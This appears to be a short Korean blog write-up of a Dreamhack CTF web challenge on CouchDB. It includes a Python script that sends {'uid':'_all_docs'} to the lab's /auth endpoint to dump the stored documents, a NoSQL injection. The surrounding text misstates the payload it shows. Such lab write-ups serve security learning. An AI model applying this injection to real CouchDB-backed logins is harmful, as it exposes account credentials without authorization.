728x90

CouchDB : 문서기반의 데이터베이스이다. 키와 값이 하나의 쌍을 이루는 데이터를 저장하며, JSON 객체 형탱인 도쿠먼트를 저장한다.
HTTP 기반의 서버로 동작하며 REST API형식으로 HTTP메소드를 사용해 요청을 받고 처리한다.

로그인페이지에서 uid와 upw 를 입력을 해서 flag값을 없는거 같다.

소스코드를 보면 /auth에서 인증과정을 거칠때, upw값이 같으면 flag값을 출력해주는 코드이다.
즉, 계정정보를 알아야지 풀리는 문제이다.

uid에 "admin" 을 넣고 upw에 "aaa" 넣었을 때의 페이로드이다.
import requests
url = 'http://host3.dreamhack.games:11764/auth'
data = {
"uid":"_all_docs"
}
req = requests.post(url,json=data)
print(req.text)728x90
'모의해킹 > Dreamhack' 카테고리의 다른 글
| out of money [WEB LEVLE1] (0) | 2023.05.16 |
|---|---|
| type confusion [WEB LEVEL1] (0) | 2023.05.15 |
| File Vulnerability Advanced for linux [WEB LEVEL1] (0) | 2023.05.06 |
| Apache htaccess [WEB LEVEL1] (0) | 2023.05.06 |
| fly me to the moon [WEB LEVEL1] (0) | 2023.05.06 |